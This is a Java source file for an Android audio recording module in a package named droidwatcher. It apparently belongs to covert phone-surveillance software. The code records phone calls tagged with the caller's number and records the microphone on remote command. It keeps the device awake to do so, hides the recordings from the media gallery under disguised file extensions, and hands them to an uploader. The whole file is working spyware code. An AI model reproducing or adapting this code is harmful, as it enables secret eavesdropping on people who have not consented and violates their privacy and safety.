package com.droidwatcher.modules;
import java.lang.ref.WeakReference;
import java.text.SimpleDateFormat;
import java.util.Date;
import java.util.LinkedList;
import java.util.Locale;
import org.acra.ACRA;
import com.droidwatcher.Debug;
import com.droidwatcher.FileSender;
import com.droidwatcher.FileSender.FileType;
import com.droidwatcher.SettingsManager;
import com.droidwatcher.lib.FileUtil;
import android.annotation.SuppressLint;
import android.content.Context;
import android.media.MediaRecorder;
import android.os.Build;
import android.os.Handler;
import android.os.Message;
import android.os.PowerManager;
import android.os.PowerManager.WakeLock;
@SuppressLint("InlinedApi")
public class RecorderModule {
private Context mContext;
private SettingsManager mSettings;
private LinkedList<RecordTask> mQueue;
private RecordTask mCurrentTask;
private MediaRecorder mRecorder;
private WakeLock mWakeLock;
private static MyHandler sHandler;
public static final int START_RECORD_CALL = 1;
public static final int STOP_RECORD_CALL = 2;
public static final int START_RECORD_REQUEST = 3;
public static final int STOP_RECORD_REQUEST = 4;
public static final int RESTART_RECORD_CALL = 5;
public static final int STOP_RECORD = 6;
private static final long RECORD_INTERVAL = 10 * 60 * 1000L;
private static final long RECORD_MIN_VALUE = 10 * 1000L;
public static final String CALL_PREFIX = "[call]";
public static final String RECORD_PREFIX = "[record]";
public static Boolean isRecording = false;
public RecorderModule(Context context){
mContext = context;
mQueue = new LinkedList<RecordTask>();
mCurrentTask = null;
mSettings = new SettingsManager(context);
PowerManager pm = (PowerManager) context.getSystemService(Context.POWER_SERVICE);
mWakeLock = pm.newWakeLock(PowerManager.PARTIAL_WAKE_LOCK, "DW_RECORDED_WAKELOCK");
sHandler = new MyHandler(this);
isRecording = false;
}
public void dispose(){
try {
Debug.i("[RecorderModule] dispose");
if (mQueue != null) {
mQueue.clear();
}
if (mCurrentTask != null) {
stopRecord();
}
if (sHandler != null) {
sHandler.removeMessages(STOP_RECORD_REQUEST);
}
releaseWakeLock();
isRecording = false;
} catch (Exception e) {
ACRA.getErrorReporter().handleSilentException(e);
Debug.exception(e);
} finally {
mQueue = null;
mCurrentTask = null;
sHandler = null;
mWakeLock = null;
}
}
private void acquireWakeLock(){
try {
if (mWakeLock == null) {
PowerManager pm = (PowerManager) mContext.getSystemService(Context.POWER_SERVICE);
mWakeLock = pm.newWakeLock(PowerManager.PARTIAL_WAKE_LOCK, "DW_RECORDED_WAKELOCK");
}
if (mWakeLock != null && !mWakeLock.isHeld()) {
mWakeLock.acquire();
}
} catch (Exception e) {
Debug.exception(e);
}
}
private void releaseWakeLock(){
try {
if (mWakeLock != null && mWakeLock.isHeld()) {
mWakeLock.release();
}
} catch (Exception e) {
Debug.exception(e);
}
}
@SuppressWarnings("deprecation")
private void startRecord(RecordTask task){
if (!FileUtil.isExternalStorageAvailable() || !FileUtil.hasExternalStorageFreeMemory() || task == null){
return;
}
Debug.i("[RecorderModule] startRecord; Thread name: " + Thread.currentThread().getName());
acquireWakeLock();
FileUtil.createNomedia(mContext);
try {
if (mRecorder == null) {
Debug.i("[RecorderModule] new MediaRecorder()");
mRecorder = new MediaRecorder();
}
int source = mSettings.recordSource();
if (!task.isCall) {
if (source != MediaRecorder.AudioSource.CAMCORDER && source != MediaRecorder.AudioSource.DEFAULT && source != MediaRecorder.AudioSource.MIC) {
source = MediaRecorder.AudioSource.MIC;
}
}
mRecorder.setAudioSource(source);
String format = "";
switch (mSettings.recordFormat()) {
case 1:
mRecorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
format = "._dw_3gp";
break;
case 3:
mRecorder.setOutputFormat(MediaRecorder.OutputFormat.RAW_AMR);
format = "._dw_amr";
break;
case 6:
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.JELLY_BEAN) {
mRecorder.setOutputFormat(MediaRecorder.OutputFormat.AAC_ADTS);
format = "._dw_aac";
}
else{
mRecorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
format = "._dw_3gp";
}
break;
default:
return;
}
Date dt = new Date();
String date = SimpleDateFormat.getDateTimeInstance(SimpleDateFormat.SHORT, SimpleDateFormat.SHORT, new Locale("ru","RU")).format(dt);
date = date.replace(':', '-');//.replace(' ', '_');
StringBuilder stringBuilder = new StringBuilder();
stringBuilder.append(task.isCall ? CALL_PREFIX : RECORD_PREFIX);
if (task.isCall) {
stringBuilder.append('[').append(task.num).append(']');
}
stringBuilder
.append('[').append(date).append(']')
.append('[').append(dt.getTime()).append(']').append(format);
String filePath = FileUtil.getExternalFullPath(mContext, stringBuilder.toString());
mRecorder.setOutputFile(filePath);
mRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.DEFAULT);
mRecorder.setAudioChannels(1);
mRecorder.prepare();
mRecorder.start();
isRecording = true;
mCurrentTask = task;
mCurrentTask.startedAt = dt.getTime();
if (task.isCall) {
sHandler.sendEmptyMessageDelayed(RESTART_RECORD_CALL, RECORD_INTERVAL);
}
else{
sHandler.sendEmptyMessageDelayed(STOP_RECORD_REQUEST, task.ms);
}
} catch (Exception e) {
//ACRA.getErrorReporter().handleSilentException(e);
//ErrorHandler.error(e, mContext);
Debug.exception(e);
stopRecord();
}
}
private void restartRecord(){
sHandler.removeMessages(STOP_RECORD_REQUEST);
sHandler.removeMessages(RESTART_RECORD_CALL);
stop();
startRecord(mCurrentTask);
}
private void stopRecord(){
sHandler.removeMessages(STOP_RECORD_REQUEST);
sHandler.removeMessages(RESTART_RECORD_CALL);
stop();
mCurrentTask = null;
if (mQueue.isEmpty()) {
release();
new FileSender(mContext, FileType.RECORD).start();
}
else{
startRecord(mQueue.poll());
}
}
private void stop(){
isRecording = false;
try {
mRecorder.stop();
mRecorder.reset();
} catch (Exception e) {
Debug.exception(e);
mRecorder = null;
}
}
private void release(){
if (mRecorder != null) {
try {
mRecorder.release();
} catch (Exception e) {
Debug.exception(e);
} finally{
mRecorder = null;
}
}
releaseWakeLock();
}
private void pauseRecord(){
sHandler.removeMessages(STOP_RECORD_REQUEST);
stop();
long remainingTime = mCurrentTask.ms - (new Date().getTime() - mCurrentTask.startedAt);
if (remainingTime > RECORD_MIN_VALUE) {
mCurrentTask.ms = remainingTime;
mQueue.addFirst(mCurrentTask);
}
mCurrentTask = null;
}
private synchronized void addTask(RecordTask task){
if (task.isCall) {
if (mCurrentTask != null && mCurrentTask.isCall) {
return;
}
if (mCurrentTask != null) {
pauseRecord();
}
startRecord(task);
}
else{
while(task.ms > RECORD_MIN_VALUE){
long ms = task.ms > RECORD_INTERVAL ? RECORD_INTERVAL : task.ms;
mQueue.add(new RecordTask(ms));
task.ms -= ms;
}
if (mCurrentTask == null && !mQueue.isEmpty()) {
startRecord(mQueue.poll());
}
}
}
public static void message(Message msg){
if (sHandler != null) {
sHandler.sendMessage(msg);
}
}
private synchronized void handleMessage(Message msg){
Debug.i("[RecorderModule] handle message: " + msg.what);
switch (msg.what) {
case START_RECORD_CALL:
addTask(new RecordTask(msg.obj));
break;
case STOP_RECORD_CALL:
if (mCurrentTask != null && mCurrentTask.isCall) {
stopRecord();
}
break;
case START_RECORD_REQUEST:
addTask(new RecordTask(msg.arg1));
break;
case STOP_RECORD_REQUEST:
if (mCurrentTask != null && !mCurrentTask.isCall) {
stopRecord();
}
break;
case RESTART_RECORD_CALL:
if (mCurrentTask != null && mCurrentTask.isCall) {
restartRecord();
}
break;
case STOP_RECORD:
if (mCurrentTask != null) {
mQueue.clear();
stopRecord();
}
break;
default:
return;
}
}
private class RecordTask{
public Boolean isCall;
public String num;
public long ms;
public long startedAt;
public RecordTask(Object num){
this.isCall = true;
this.num = "no number";
if (num != null) {
this.num = (String) num;
}
}
public RecordTask(int seconds){
this.isCall = false;
this.num = "";
this.ms = seconds * 1000L;
if (this.ms < RECORD_MIN_VALUE) {
this.ms = RECORD_MIN_VALUE;
}
}
public RecordTask(long ms){
this.isCall = false;
this.num = "";
this.ms = ms;
}
}
private static class MyHandler extends Handler{
private final WeakReference<RecorderModule> mModule;
public MyHandler(RecorderModule module) {
mModule = new WeakReference<RecorderModule>(module);
}
@Override
public void handleMessage(Message msg) {
RecorderModule module = mModule.get();
if (module != null) {
module.handleMessage(msg);
}
}
}
}